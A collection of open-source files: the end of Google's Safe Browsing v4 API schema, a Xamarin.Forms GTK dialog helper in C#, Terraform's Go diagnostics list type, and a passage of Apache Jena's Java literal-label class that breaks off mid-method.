"THREAT_ENTRY_TYPE_UNSPECIFIED",
"URL",
"EXECUTABLE",
"IP_RANGE",
"CHROME_EXTENSION",
"FILENAME",
"CERT"
],
"description": "The format of the threats.",
"type": "string",
"enumDescriptions": [
"Unspecified.",
"A URL.",
"An executable program.",
"An IP range.",
"Chrome extension.",
"Filename.",
"CERT"
]
},
"additions": {
"description": "A set of entries to add to a local threat type's list. Repeated to allow\nfor a combination of compressed and raw data to be sent in a single\nresponse.",
"type": "array",
"items": {
"$ref": "ThreatEntrySet"
}
}
},
"id": "ListUpdateResponse"
},
"Constraints": {
"type": "object",
"properties": {
"supportedCompressions": {
"enumDescriptions": [
"Unknown.",
"Raw, uncompressed data.",
"Rice-Golomb encoded data."
],
"description": "The compression types supported by the client.",
"type": "array",
"items": {
"enum": [
"COMPRESSION_TYPE_UNSPECIFIED",
"RAW",
"RICE"
],
"type": "string"
}
},
"maxUpdateEntries": {
"description": "The maximum size in number of entries. The update will not contain more\nentries than this value. This should be a power of 2 between 2**10 and\n2**20. If zero, no update size limit is set.",
"format": "int32",
"type": "integer"
},
"maxDatabaseEntries": {
"description": "Sets the maximum number of entries that the client is willing to have\nin the local database. This should be a power of 2 between 2**10 and\n2**20. If zero, no database size limit is set.",
"format": "int32",
"type": "integer"
},
"region": {
"description": "Requests the list for a specific geographic location. If not set the\nserver may pick that value based on the user's IP address. Expects ISO\n3166-1 alpha-2 format.",
"type": "string"
}
},
"id": "Constraints",
"description": "The constraints for this update."
},
"ThreatMatch": {
"description": "A match when checking a threat entry in the Safe Browsing threat lists.",
"type": "object",
"properties": {
"threatEntryType": {
"enumDescriptions": [
"Unspecified.",
"A URL.",
"An executable program.",
"An IP range.",
"Chrome extension.",
"Filename.",
"CERT"
],
"enum": [
"THREAT_ENTRY_TYPE_UNSPECIFIED",
"URL",
"EXECUTABLE",
"IP_RANGE",
"CHROME_EXTENSION",
"FILENAME",
"CERT"
],
"description": "The threat entry type matching this threat.",
"type": "string"
},
"cacheDuration": {
"description": "The cache lifetime for the returned match. Clients must not cache this\nresponse for more than this duration to avoid false positives.",
"format": "google-duration",
"type": "string"
},
"threatType": {
"description": "The threat type matching this threat.",
"type": "string",
"enumDescriptions": [
"Unknown.",
"Malware threat type.",
"Social engineering threat type.",
"Unwanted software threat type.",
"Potentially harmful application threat type."
],
"enum": [
"THREAT_TYPE_UNSPECIFIED",
"MALWARE",
"SOCIAL_ENGINEERING",
"UNWANTED_SOFTWARE",
"POTENTIALLY_HARMFUL_APPLICATION"
]
},
"threatEntryMetadata": {
"$ref": "ThreatEntryMetadata",
"description": "Optional metadata associated with this threat."
},
"threat": {
"$ref": "ThreatEntry",
"description": "The threat matching this threat."
},
"platformType": {
"enum": [
"PLATFORM_TYPE_UNSPECIFIED",
"WINDOWS",
"LINUX",
"ANDROID",
"OSX",
"IOS",
"ANY_PLATFORM",
"ALL_PLATFORMS",
"CHROME"
],
"description": "The platform type matching this threat.",
"type": "string",
"enumDescriptions": [
"Unknown platform.",
"Threat posed to Windows.",
"Threat posed to Linux.",
"Threat posed to Android.",
"Threat posed to OS X.",
"Threat posed to iOS.",
"Threat posed to at least one of the defined platforms.",
"Threat posed to all defined platforms.",
"Threat posed to Chrome."
]
}
},
"id": "ThreatMatch"
},
"ListThreatListsResponse": {
"id": "ListThreatListsResponse",
"type": "object",
"properties": {
"threatLists": {
"description": "The lists available for download by the client.",
"type": "array",
"items": {
"$ref": "ThreatListDescriptor"
}
}
}
},
"RiceDeltaEncoding": {
"properties": {
"firstValue": {
"description": "The offset of the first entry in the encoded data, or, if only a single\ninteger was encoded, that single integer's value.",
"format": "int64",
"type": "string"
},
"encodedData": {
"description": "The encoded deltas that are encoded using the Golomb-Rice coder.",
"format": "byte",
"type": "string"
},
"numEntries": {
"description": "The number of entries that are delta encoded in the encoded data. If only a\nsingle integer was encoded, this will be zero and the single value will be\nstored in `first_value`.",
"format": "int32",
"type": "integer"
},
"riceParameter": {
"description": "The Golomb-Rice parameter, which is a number between 2 and 28. This field\nis missing (that is, zero) if `num_entries` is zero.",
"format": "int32",
"type": "integer"
}
},
"id": "RiceDeltaEncoding",
"description": "The Rice-Golomb encoded data. Used for sending compressed 4-byte hashes or\ncompressed removal indices.",
"type": "object"
},
"FindThreatMatchesResponse": {
"properties": {
"matches": {
"description": "The threat list matches.",
"type": "array",
"items": {
"$ref": "ThreatMatch"
}
}
},
"id": "FindThreatMatchesResponse",
"type": "object"
},
"ThreatEntry": {
"type": "object",
"properties": {
"url": {
"type": "string",
"description": "A URL."
},
"digest": {
"description": "The digest of an executable in SHA256 format. The API supports both\nbinary and hex digests. For JSON requests, digests are base64-encoded.",
"format": "byte",
"type": "string"
},
"hash": {
"description": "A hash prefix, consisting of the most significant 4-32 bytes of a SHA256\nhash. This field is in binary format. For JSON requests, hashes are\nbase64-encoded.",
"format": "byte",
"type": "string"
}
},
"id": "ThreatEntry",
"description": "An individual threat; for example, a malicious URL or its hash\nrepresentation. Only one of these fields should be set."
},
"ThreatListDescriptor": {
"description": "Describes an individual threat list. A list is defined by three parameters:\nthe type of threat posed, the type of platform targeted by the threat, and\nthe type of entries in the list.",
"type": "object",
"properties": {
"platformType": {
"enumDescriptions": [
"Unknown platform.",
"Threat posed to Windows.",
"Threat posed to Linux.",
"Threat posed to Android.",
"Threat posed to OS X.",
"Threat posed to iOS.",
"Threat posed to at least one of the defined platforms.",
"Threat posed to all defined platforms.",
"Threat posed to Chrome."
],
"enum": [
"PLATFORM_TYPE_UNSPECIFIED",
"WINDOWS",
"LINUX",
"ANDROID",
"OSX",
"IOS",
"ANY_PLATFORM",
"ALL_PLATFORMS",
"CHROME"
],
"description": "The platform type targeted by the list's entries.",
"type": "string"
},
"threatType": {
"enum": [
"THREAT_TYPE_UNSPECIFIED",
"MALWARE",
"SOCIAL_ENGINEERING",
"UNWANTED_SOFTWARE",
"POTENTIALLY_HARMFUL_APPLICATION"
],
"description": "The threat type posed by the list's entries.",
"type": "string",
"enumDescriptions": [
"Unknown.",
"Malware threat type.",
"Social engineering threat type.",
"Unwanted software threat type.",
"Potentially harmful application threat type."
]
},
"threatEntryType": {
"enum": [
"THREAT_ENTRY_TYPE_UNSPECIFIED",
"URL",
"EXECUTABLE",
"IP_RANGE",
"CHROME_EXTENSION",
"FILENAME",
"CERT"
],
"description": "The entry types contained in the list.",
"type": "string",
"enumDescriptions": [
"Unspecified.",
"A URL.",
"An executable program.",
"An IP range.",
"Chrome extension.",
"Filename.",
"CERT"
]
}
},
"id": "ThreatListDescriptor"
},
"MetadataEntry": {
"description": "A single metadata entry.",
"type": "object",
"properties": {
"key": {
"description": "The metadata entry key. For JSON requests, the key is base64-encoded.",
"format": "byte",
"type": "string"
},
"value": {
"description": "The metadata entry value. For JSON requests, the value is base64-encoded.",
"format": "byte",
"type": "string"
}
},
"id": "MetadataEntry"
},
"ClientInfo": {
"description": "The client metadata associated with Safe Browsing API requests.",
"type": "object",
"properties": {
"clientId": {
"description": "A client ID that (hopefully) uniquely identifies the client implementation\nof the Safe Browsing API.",
"type": "string"
},
"clientVersion": {
"description": "The version of the client implementation.",
"type": "string"
}
},
"id": "ClientInfo"
},
"ThreatInfo": {
"description": "The information regarding one or more threats that a client submits when\nchecking for matches in threat lists.",
"type": "object",
"properties": {
"threatTypes": {
"enumDescriptions": [
"Unknown.",
"Malware threat type.",
"Social engineering threat type.",
"Unwanted software threat type.",
"Potentially harmful application threat type."
],
"description": "The threat types to be checked.",
"type": "array",
"items": {
"type": "string",
"enum": [
"THREAT_TYPE_UNSPECIFIED",
"MALWARE",
"SOCIAL_ENGINEERING",
"UNWANTED_SOFTWARE",
"POTENTIALLY_HARMFUL_APPLICATION"
]
}
},
"platformTypes": {
"description": "The platform types to be checked.",
"type": "array",
"items": {
"type": "string",
"enum": [
"PLATFORM_TYPE_UNSPECIFIED",
"WINDOWS",
"LINUX",
"ANDROID",
"OSX",
"IOS",
"ANY_PLATFORM",
"ALL_PLATFORMS",
"CHROME"
]
},
"enumDescriptions": [
"Unknown platform.",
"Threat posed to Windows.",
"Threat posed to Linux.",
"Threat posed to Android.",
"Threat posed to OS X.",
"Threat posed to iOS.",
"Threat posed to at least one of the defined platforms.",
"Threat posed to all defined platforms.",
"Threat posed to Chrome."
]
},
"threatEntries": {
"description": "The threat entries to be checked.",
"type": "array",
"items": {
"$ref": "ThreatEntry"
}
},
"threatEntryTypes": {
"type": "array",
"items": {
"enum": [
"THREAT_ENTRY_TYPE_UNSPECIFIED",
"URL",
"EXECUTABLE",
"IP_RANGE",
"CHROME_EXTENSION",
"FILENAME",
"CERT"
],
"type": "string"
},
"enumDescriptions": [
"Unspecified.",
"A URL.",
"An executable program.",
"An IP range.",
"Chrome extension.",
"Filename.",
"CERT"
],
"description": "The entry types to be checked."
}
},
"id": "ThreatInfo"
},
"FindThreatMatchesRequest": {
"description": "Request to check entries against lists.",
"type": "object",
"properties": {
"threatInfo": {
"description": "The lists and entries to be checked for matches.",
"$ref": "ThreatInfo"
},
"client": {
"$ref": "ClientInfo",
"description": "The client metadata."
}
},
"id": "FindThreatMatchesRequest"
},
"ThreatEntryMetadata": {
"id": "ThreatEntryMetadata",
"description": "The metadata associated with a specific threat entry. The client is expected\nto know the metadata key/value pairs associated with each threat type.",
"type": "object",
"properties": {
"entries": {
"type": "array",
"items": {
"$ref": "MetadataEntry"
},
"description": "The metadata entries."
}
}
},
"RawIndices": {
"type": "object",
"properties": {
"indices": {
"type": "array",
"items": {
"format": "int32",
"type": "integer"
},
"description": "The indices to remove from a lexicographically-sorted local list."
}
},
"id": "RawIndices",
"description": "A set of raw indices to remove from a local list."
}
},
"protocol": "rest",
"icons": {
"x16": "http://www.google.com/images/icons/product/search-16.gif",
"x32": "http://www.google.com/images/icons/product/search-32.gif"
},
"version": "v4",
"baseUrl": "https://safebrowsing.googleapis.com/",
"kind": "discovery#restDescription",
"description": "The Safe Browsing API is an experimental API that allows client applications to check URLs against Google's constantly-updated blacklists of suspected phishing and malware pages. Your client application can use the API to download an encrypted table for local, client-side lookups of URLs.",
"servicePath": "",
"rootUrl": "https://safebrowsing.googleapis.com/",
"basePath": "",
"ownerDomain": "google.com",
"name": "safebrowsing"
}
|
{
"pile_set_name": "Github"
}
|
using Gtk;
using System.Linq;
using Xamarin.Forms.Internals;
using Xamarin.Forms.Platform.GTK.Extensions;
namespace Xamarin.Forms.Platform.GTK.Helpers
{
internal static class DialogHelper
{
public static void ShowAlert(PlatformRenderer platformRender, AlertArguments arguments)
{
MessageDialog messageDialog = new MessageDialog(
platformRender.Toplevel as Window,
DialogFlags.DestroyWithParent,
MessageType.Other,
GetAlertButtons(arguments),
arguments.Message);
SetDialogTitle(arguments.Title, messageDialog);
SetButtonText(arguments.Accept, ButtonsType.Ok, messageDialog);
SetButtonText(arguments.Cancel, ButtonsType.Cancel, messageDialog);
ResponseType result = (ResponseType)messageDialog.Run();
if (result == ResponseType.Ok)
{
arguments.SetResult(true);
}
else
{
arguments.SetResult(false);
}
messageDialog.Destroy();
}
public static void ShowActionSheet(PlatformRenderer platformRender, ActionSheetArguments arguments)
{
MessageDialog messageDialog = new MessageDialog(
platformRender.Toplevel as Window,
DialogFlags.DestroyWithParent,
MessageType.Other,
ButtonsType.Cancel,
null);
SetDialogTitle(arguments.Title, messageDialog);
SetButtonText(arguments.Cancel, ButtonsType.Cancel, messageDialog);
SetDestructionButton(arguments.Destruction, messageDialog);
AddExtraButtons(arguments, messageDialog);
int result = messageDialog.Run();
if ((ResponseType)result == ResponseType.Cancel)
{
arguments.SetResult(arguments.Cancel);
}
else if ((ResponseType)result == ResponseType.Reject)
{
arguments.SetResult(arguments.Destruction);
}
messageDialog.Destroy();
}
private static void SetDialogTitle(string title, MessageDialog messageDialog)
{
messageDialog.Title = title ?? string.Empty;
}
private static void SetButtonText(string text, ButtonsType type, MessageDialog messageDialog)
{
string gtkLabel = string.Empty;
switch (type)
{
case ButtonsType.Ok:
gtkLabel = "gtk-ok";
break;
case ButtonsType.Cancel:
gtkLabel = "gtk-cancel";
break;
}
var buttonsBox = messageDialog.GetDescendants()
.OfType<HButtonBox>()
.FirstOrDefault();
if (buttonsBox == null) return;
var targetButton = buttonsBox.GetDescendants()
.OfType<Gtk.Button>()
.FirstOrDefault(x => x.Label == gtkLabel);
if (targetButton == null) return;
if (string.IsNullOrEmpty(text))
{
targetButton.Hide();
}
else
{
targetButton.Label = text;
}
}
private static void SetDestructionButton(string destruction, MessageDialog messageDialog)
{
if (!string.IsNullOrEmpty(destruction))
{
var destructionButton =
messageDialog.AddButton(destruction, ResponseType.Reject) as Gtk.Button;
var destructionColor = Color.Red.ToGtkColor();
destructionButton.Child.ModifyFg(StateType.Normal, destructionColor);
destructionButton.Child.ModifyFg(StateType.Prelight, destructionColor);
destructionButton.Child.ModifyFg(StateType.Active, destructionColor);
}
}
private static void AddExtraButtons(ActionSheetArguments arguments, MessageDialog messageDialog)
{
var vbox = messageDialog.VBox;
// As we are not showing any message in this dialog, we just
// hide default container and avoid it from using space
vbox.Children[0].Hide();
if (arguments.Buttons.Any())
{
for (int i = 0; i < arguments.Buttons.Count(); i++)
{
var button = new Gtk.Button();
button.Label = arguments.Buttons.ElementAt(i);
button.Clicked += (o, e) =>
{
arguments.SetResult(button.Label);
messageDialog.Destroy();
};
button.Show();
vbox.PackStart(button, false, false, 0);
}
}
}
private static ButtonsType GetAlertButtons(AlertArguments arguments)
{
bool hasAccept = !string.IsNullOrEmpty(arguments.Accept);
bool hasCancel = !string.IsNullOrEmpty(arguments.Cancel);
ButtonsType type = ButtonsType.None;
if (hasAccept && hasCancel)
{
type = ButtonsType.OkCancel;
}
else if (hasAccept && !hasCancel)
{
type = ButtonsType.Ok;
}
else if (!hasAccept && hasCancel)
{
type = ButtonsType.Cancel;
}
return type;
}
}
}
|
{
"pile_set_name": "Github"
}
|
package tfdiags
import (
"bytes"
"fmt"
"path/filepath"
"sort"
"strings"
"github.com/hashicorp/errwrap"
multierror "github.com/hashicorp/go-multierror"
"github.com/hashicorp/hcl/v2"
)
// Diagnostics is a list of diagnostics. Diagnostics is intended to be used
// where a Go "error" might normally be used, allowing richer information
// to be conveyed (more context, support for warnings).
//
// A nil Diagnostics is a valid, empty diagnostics list, thus allowing
// heap allocation to be avoided in the common case where there are no
// diagnostics to report at all.
type Diagnostics []Diagnostic
// Append is the main interface for constructing Diagnostics lists, taking
// an existing list (which may be nil) and appending the new objects to it
// after normalizing them to be implementations of Diagnostic.
//
// The usual pattern for a function that natively "speaks" diagnostics is:
//
// // Create a nil Diagnostics at the start of the function
// var diags diag.Diagnostics
//
// // At later points, build on it if errors / warnings occur:
// foo, err := DoSomethingRisky()
// if err != nil {
// diags = diags.Append(err)
// }
//
// // Eventually return the result and diagnostics in place of error
// return result, diags
//
// Append accepts a variety of different diagnostic-like types, including
// native Go errors and HCL diagnostics. It also knows how to unwrap
// a multierror.Error into separate error diagnostics. It can be passed
// another Diagnostics to concatenate the two lists. If given something
// it cannot handle, this function will panic.
func (diags Diagnostics) Append(new ...interface{}) Diagnostics {
for _, item := range new {
if item == nil {
continue
}
switch ti := item.(type) {
case Diagnostic:
diags = append(diags, ti)
case Diagnostics:
diags = append(diags, ti...) // flatten
case diagnosticsAsError:
diags = diags.Append(ti.Diagnostics) // unwrap
case NonFatalError:
diags = diags.Append(ti.Diagnostics) // unwrap
case hcl.Diagnostics:
for _, hclDiag := range ti {
diags = append(diags, hclDiagnostic{hclDiag})
}
case *hcl.Diagnostic:
diags = append(diags, hclDiagnostic{ti})
case *multierror.Error:
for _, err := range ti.Errors {
diags = append(diags, nativeError{err})
}
case error:
switch {
case errwrap.ContainsType(ti, Diagnostics(nil)):
// If we have an errwrap wrapper with a Diagnostics hiding
// inside then we'll unpick it here to get access to the
// individual diagnostics.
diags = diags.Append(errwrap.GetType(ti, Diagnostics(nil)))
case errwrap.ContainsType(ti, hcl.Diagnostics(nil)):
// Likewise, if we have HCL diagnostics we'll unpick that too.
diags = diags.Append(errwrap.GetType(ti, hcl.Diagnostics(nil)))
default:
diags = append(diags, nativeError{ti})
}
default:
panic(fmt.Errorf("can't construct diagnostic(s) from %T", item))
}
}
// Given the above, we should never end up with a non-nil empty slice
// here, but we'll make sure of that so callers can rely on empty == nil
if len(diags) == 0 {
return nil
}
return diags
}
// HasErrors returns true if any of the diagnostics in the list have
// a severity of Error.
func (diags Diagnostics) HasErrors() bool {
for _, diag := range diags {
if diag.Severity() == Error {
return true
}
}
return false
}
// ForRPC returns a version of the receiver that has been simplified so that
// it is friendly to RPC protocols.
//
// Currently this means that it can be serialized with encoding/gob and
// subsequently re-inflated. It may later grow to include other serialization
// formats.
//
// Note that this loses information about the original objects used to
// construct the diagnostics, so e.g. the errwrap API will not work as
// expected on an error-wrapped Diagnostics that came from ForRPC.
func (diags Diagnostics) ForRPC() Diagnostics {
ret := make(Diagnostics, len(diags))
for i := range diags {
ret[i] = makeRPCFriendlyDiag(diags[i])
}
return ret
}
// Err flattens a diagnostics list into a single Go error, or to nil
// if the diagnostics list does not include any error-level diagnostics.
//
// This can be used to smuggle diagnostics through an API that deals in
// native errors, but unfortunately it will lose naked warnings (warnings
// that aren't accompanied by at least one error) since such APIs have no
// mechanism through which to report these.
//
// return result, diags.Error()
func (diags Diagnostics) Err() error {
if !diags.HasErrors() {
return nil
}
return diagnosticsAsError{diags}
}
// ErrWithWarnings is similar to Err except that it will also return a non-nil
// error if the receiver contains only warnings.
//
// In the warnings-only situation, the result is guaranteed to be of dynamic
// type NonFatalError, allowing diagnostics-aware callers to type-assert
// and unwrap it, treating it as non-fatal.
//
// This should be used only in contexts where the caller is able to recognize
// and handle NonFatalError. For normal callers that expect a lack of errors
// to be signaled by nil, use just Diagnostics.Err.
func (diags Diagnostics) ErrWithWarnings() error {
if len(diags) == 0 {
return nil
}
if diags.HasErrors() {
return diags.Err()
}
return NonFatalError{diags}
}
// NonFatalErr is similar to Err except that it always returns either nil
// (if there are no diagnostics at all) or NonFatalError.
//
// This allows diagnostics to be returned over an error return channel while
// being explicit that the diagnostics should not halt processing.
//
// This should be used only in contexts where the caller is able to recognize
// and handle NonFatalError. For normal callers that expect a lack of errors
// to be signaled by nil, use just Diagnostics.Err.
func (diags Diagnostics) NonFatalErr() error {
if len(diags) == 0 {
return nil
}
return NonFatalError{diags}
}
type diagnosticsAsError struct {
Diagnostics
}
func (dae diagnosticsAsError) Error() string {
diags := dae.Diagnostics
switch {
case len(diags) == 0:
// should never happen, since we don't create this wrapper if
// there are no diagnostics in the list.
return "no errors"
case len(diags) == 1:
desc := diags[0].Description()
if desc.Detail == "" {
return desc.Summary
}
return fmt.Sprintf("%s: %s", desc.Summary, desc.Detail)
default:
var ret bytes.Buffer
fmt.Fprintf(&ret, "%d problems:\n", len(diags))
for _, diag := range dae.Diagnostics {
desc := diag.Description()
if desc.Detail == "" {
fmt.Fprintf(&ret, "\n- %s", desc.Summary)
} else {
fmt.Fprintf(&ret, "\n- %s: %s", desc.Summary, desc.Detail)
}
}
return ret.String()
}
}
// WrappedErrors is an implementation of errwrap.Wrapper so that an error-wrapped
// diagnostics object can be picked apart by errwrap-aware code.
func (dae diagnosticsAsError) WrappedErrors() []error {
var errs []error
for _, diag := range dae.Diagnostics {
if wrapper, isErr := diag.(nativeError); isErr {
errs = append(errs, wrapper.err)
}
}
return errs
}
// NonFatalError is a special error type, returned by
// Diagnostics.ErrWithWarnings and Diagnostics.NonFatalErr,
// that indicates that the wrapped diagnostics should be treated as non-fatal.
// Callers can conditionally type-assert an error to this type in order to
// detect the non-fatal scenario and handle it in a different way.
type NonFatalError struct {
Diagnostics
}
func (woe NonFatalError) Error() string {
diags := woe.Diagnostics
switch {
case len(diags) == 0:
// should never happen, since we don't create this wrapper if
// there are no diagnostics in the list.
return "no errors or warnings"
case len(diags) == 1:
desc := diags[0].Description()
if desc.Detail == "" {
return desc.Summary
}
return fmt.Sprintf("%s: %s", desc.Summary, desc.Detail)
default:
var ret bytes.Buffer
if diags.HasErrors() {
fmt.Fprintf(&ret, "%d problems:\n", len(diags))
} else {
fmt.Fprintf(&ret, "%d warnings:\n", len(diags))
}
for _, diag := range woe.Diagnostics {
desc := diag.Description()
if desc.Detail == "" {
fmt.Fprintf(&ret, "\n- %s", desc.Summary)
} else {
fmt.Fprintf(&ret, "\n- %s: %s", desc.Summary, desc.Detail)
}
}
return ret.String()
}
}
// sortDiagnostics is an implementation of sort.Interface
type sortDiagnostics []Diagnostic
var _ sort.Interface = sortDiagnostics(nil)
func (sd sortDiagnostics) Len() int {
return len(sd)
}
func (sd sortDiagnostics) Less(i, j int) bool {
iD, jD := sd[i], sd[j]
iSev, jSev := iD.Severity(), jD.Severity()
iSrc, jSrc := iD.Source(), jD.Source()
switch {
case iSev != jSev:
return iSev == Warning
case (iSrc.Subject == nil) != (jSrc.Subject == nil):
return iSrc.Subject == nil
case iSrc.Subject != nil && *iSrc.Subject != *jSrc.Subject:
iSubj := iSrc.Subject
jSubj := jSrc.Subject
switch {
case iSubj.Filename != jSubj.Filename:
// Path with fewer segments goes first if they are different lengths
sep := string(filepath.Separator)
iCount := strings.Count(iSubj.Filename, sep)
jCount := strings.Count(jSubj.Filename, sep)
if iCount != jCount {
return iCount < jCount
}
return iSubj.Filename < jSubj.Filename
case iSubj.Start.Byte != jSubj.Start.Byte:
return iSubj.Start.Byte < jSubj.Start.Byte
case iSubj.End.Byte != jSubj.End.Byte:
return iSubj.End.Byte < jSubj.End.Byte
}
fallthrough
default:
// The remaining properties do not have a defined ordering, so
// we'll leave it unspecified. Since we use sort.Stable in
// the caller of this, the ordering of remaining items will
// be preserved.
return false
}
}
func (sd sortDiagnostics) Swap(i, j int) {
sd[i], sd[j] = sd[j], sd[i]
}
|
{
"pile_set_name": "Github"
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.jena.graph.impl;
import java.util.Arrays;
import java.util.Locale ;
import java.util.Objects ;
import org.apache.jena.JenaRuntime ;
import org.apache.jena.datatypes.* ;
import org.apache.jena.datatypes.xsd.* ;
import org.apache.jena.datatypes.xsd.impl.* ;
import org.apache.jena.rdf.model.impl.Util ;
import org.apache.jena.shared.JenaException ;
import org.apache.jena.shared.impl.JenaParameters ;
import org.apache.jena.vocabulary.RDF ;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* Represents the "contents" of a Node_Literal.
* These contents comprise a lexical form, an optional language tag,
* and optional datatype structure and a value.
*/
final /*public*/ class LiteralLabelImpl implements LiteralLabel {
static private Logger log = LoggerFactory.getLogger( LiteralLabelImpl.class );
/**
* The lexical form of the literal, may be null if the literal was
* created programatically and has not yet been serialized
*/
private String lexicalForm;
/**
* The value form of the literal. It will be null only if the value
* has not been parsed or if it is an illegal value.
* For plain literals and xsd:string literals
* the value is the same as the lexicalForm.
*/
private Object value;
/**
* The type of the literal. A null type indicates a classic "plain" literal.
* The type of a literal is fixed when it is created.
*/
private RDFDatatype dtype;
/**
* The xml:lang tag. For xsd literals this is ignored and not part of
* equality. For plain literals it is not ignored. The lang of a
* literal is fixed when it is created.
*/
/*final*/ private String lang;
/**
* Indicates whether this is a legal literal. The working groups requires
* ill-formed literals to be treated as syntactically correct so instead
* of only storing well-formed literals we hack around it this way.
* N.B. This applies to any literal, not just XML well-formed literals.
*/
private boolean wellformed = true;
/**
* keeps the message provided by the DatatypeFormatException
* if parsing failed for delayed exception thrown in getValue()
*/
private String exceptionMsg = null; // Suggested by Andreas Langegger
//=======================================================================
// Constructors
/**
* Build a typed literal label from its lexical form. The
* lexical form will be parsed now and the value stored. If
* the form is not legal this will throw an exception.
*
* @param lex the lexical form of the literal
* @param lang the optional language tag, only relevant for plain literals
* @param dtype the type of the literal, null for old style "plain" literals
* @throws DatatypeFormatException if lex is not a legal form of dtype
*/
LiteralLabelImpl(String lex, String lang, RDFDatatype dtype) throws DatatypeFormatException
{
setLiteralLabel_1(lex, lang, dtype) ;
}
private void setLiteralLabel_1(String lex, String lang, RDFDatatype dtype)
throws DatatypeFormatException {
this.lexicalForm = lex;
this.dtype = dtype;
this.lang = (lang == null ? "" : lang);
if (dtype == null) {
value = lex;
} else {
setValue(lex);
}
normalize();
}
/**
* Build a typed literal label from its value form. If the value is a string we
* assume this is intended to be a lexical form after all.
*
* @param value the value of the literal
* @param lang the optional language tag, only relevant for plain literals
* @param dtype the type of the literal, null for old style "plain" literals
*/
LiteralLabelImpl(Object value, String lang, RDFDatatype dtype) throws DatatypeFormatException {
setLiteralLabel_2(value, lang, dtype) ;
}
/**
* Build a typed literal label from its value form using
* whatever datatype is currently registered as the default
* representation for this java class. No language tag is supplied.
* @param value the literal value to encapsulate
*/
LiteralLabelImpl( Object value ) {
RDFDatatype dt = TypeMapper.getInstance().getTypeByValue( value );
if (dt == null) {
setWithNewDatatypeForValueClass(value);
} else {
setLiteralLabel_2( value, "", dt );
}
}
private void setWithNewDatatypeForValueClass( Object value ) {
Class<?> c = value.getClass();
log.warn( "inventing a datatype for " + c );
RDFDatatype dt = new AdhocDatatype( c );
TypeMapper.getInstance().registerDatatype( dt );
this.lang = "";
this.dtype = dt;
this.value = value;
this.lexicalForm = value.toString();
}
private void setLiteralLabel_2(Object value, String language, RDFDatatype dtype) throws DatatypeFormatException
{
// Constructor extraction: Preparation for moving into Node_Literal.
this.dtype = dtype;
this.lang = (language == null ? "" : language);
if (value instanceof String) {
String lex = (String)value;
lexicalForm = lex;
if (dtype == null) {
this.value = lex;
} else {
setValue(lex);
}
} else {
this.value = (dtype == null) ? value : dtype.cannonicalise( value );
}
normalize();
if (dtype != null && lexicalForm == null) {
// We are creating a literal from a java object, check the lexical form of the object is acceptable
// Done here and uses this.dtype so it can use the normalized type
wellformed = this.dtype.isValidValue( value );
if (JenaParameters.enableEagerLiteralValidation && !wellformed) {
throw new DatatypeFormatException(value.toString(), dtype, "in literal creation");
}
}
}
/**
* Old style constructor. Creates either a plain literal or an
* XMLLiteral.
* @param xml If true then s is exclusive canonical XML of type rdf:XMLLiteral, and no checking will be invoked.
*/
LiteralLabelImpl(String s, String lang, boolean xml) {
setLiteralLabel_3(s, lang, xml) ;
}
private void setLiteralLabel_3(String s, String lang, boolean xml) {
// Constructor extraction: Preparation for moving into Node_Literal.
this.lexicalForm = s;
this.lang = (lang == null ? "" : lang);
if (xml) {
// XML Literal
this.dtype = XMLLiteralType.theXMLLiteralType;
value = s;
wellformed = true;
} else {
// Plain literal
this.value = s;
this.dtype = null;
}
}
/**
* Internal function to set the object value from the lexical form.
* Requires datatype to be set.
* @throws DatatypeFormatException if the value is ill-formed and
* eager checking is on.
*/
private void setValue(String lex) throws DatatypeFormatException {
try {
value = dtype.parse(lex);
wellformed = true;
} catch (DatatypeFormatException e) {
if (JenaParameters.enableEagerLiteralValidation) {
e.fillInStackTrace();
throw e;
} else {
wellformed = false;
exceptionMsg = e.getMessage();
}
}
}
/**
* Normalize the literal. If the value is narrower than the current data type
* (e.g. value is xsd:date but the time is xsd:datetime) it will narrow
* the type. If the type is narrower than the value then it may normalize
* the value (e.g. set the mask of an XSDDateTime)
*/
protected void normalize() {
if (dtype != null && value != null) {
dtype = dtype.normalizeSubType(value, dtype);
}
}
//=======================================================================
// Methods
/**
Answer true iff this is a well-formed XML literal.
*/
@Override
public boolean isXML() {
return dtype == XMLLiteralType.theXMLLiteralType && this.wellformed;
}
/**
Answer true iff this is a well-formed literal.
*/
@Override
public boolean isWellFormed() {
return dtype != null && this.wellformed;
}
@Override
public boolean isWellFormedRaw() {
return wellformed;
}
/**
Answer a human-acceptable representation of this literal value.
This is NOT intended for a machine-processed result.
*/
@Override
public String toString(boolean quoting) {
StringBuilder b = new StringBuilder() ;
if ( quoting )
b.append('"') ;
String lex = getLexicalForm() ;
lex = Util.replace(lex, "\"", "\\\"") ;
b.append(lex) ;
if ( quoting )
b.append('"') ;
if ( lang != null && !lang.equals("") )
b.append("@").append(lang) ;
else if ( dtype != null ) {
if ( ! ( JenaRuntime.isRDF11 && dtype.equals(XSDDatatype.XSDstring) ) )
b.append("^^").append(dtype.getURI()) ;
}
return b.toString() ;
}
@Override
public String toString() {
return toString(false);
}
/**
Answer the lexical form of this literal, constructing it on-the-fly
(and remembering it) if necessary.
*/
@Override
public String getLexicalForm() {
if (lexicalForm == null)
lexicalForm = (dtype == null ? value.toString() : dtype.unparse(value));
return lexicalForm;
}
/**
* Answer an object used to index this literal. This object must provide
* {@link Object#equals} and {@link Object#hashCode} based on values, not object
* instance identity.
*/
@Override
public Object getIndexingValue() {
if ( isXML() )
return this;
if ( !lang.equals("") )
return getLexicalForm() + "@" + lang.toLowerCase(Locale.ROOT);
if ( wellformed ) {
Object value = getValue();
// JENA-1936
// byte[] does not provide hashCode/equals based on the contents of the array.
if ( value instanceof byte[] )
return new ByteArray((byte[])value);
return value;
}
return getLexicalForm();
}
/**
* {@code byte[]} wrapper that provides {@code hashCode} and {@code equals} based
* on the value of the array. This assumes the {@code byte[]} is not changed
* (which is the case for literals with binary value).
*/
static class ByteArray {
private int hashCode = 0 ;
private final byte[] bytes;
/*package*/ ByteArray(byte[] bytes) {
this.bytes = bytes;
}
@Override
public int hashCode() {
if ( hashCode == 0 ) {
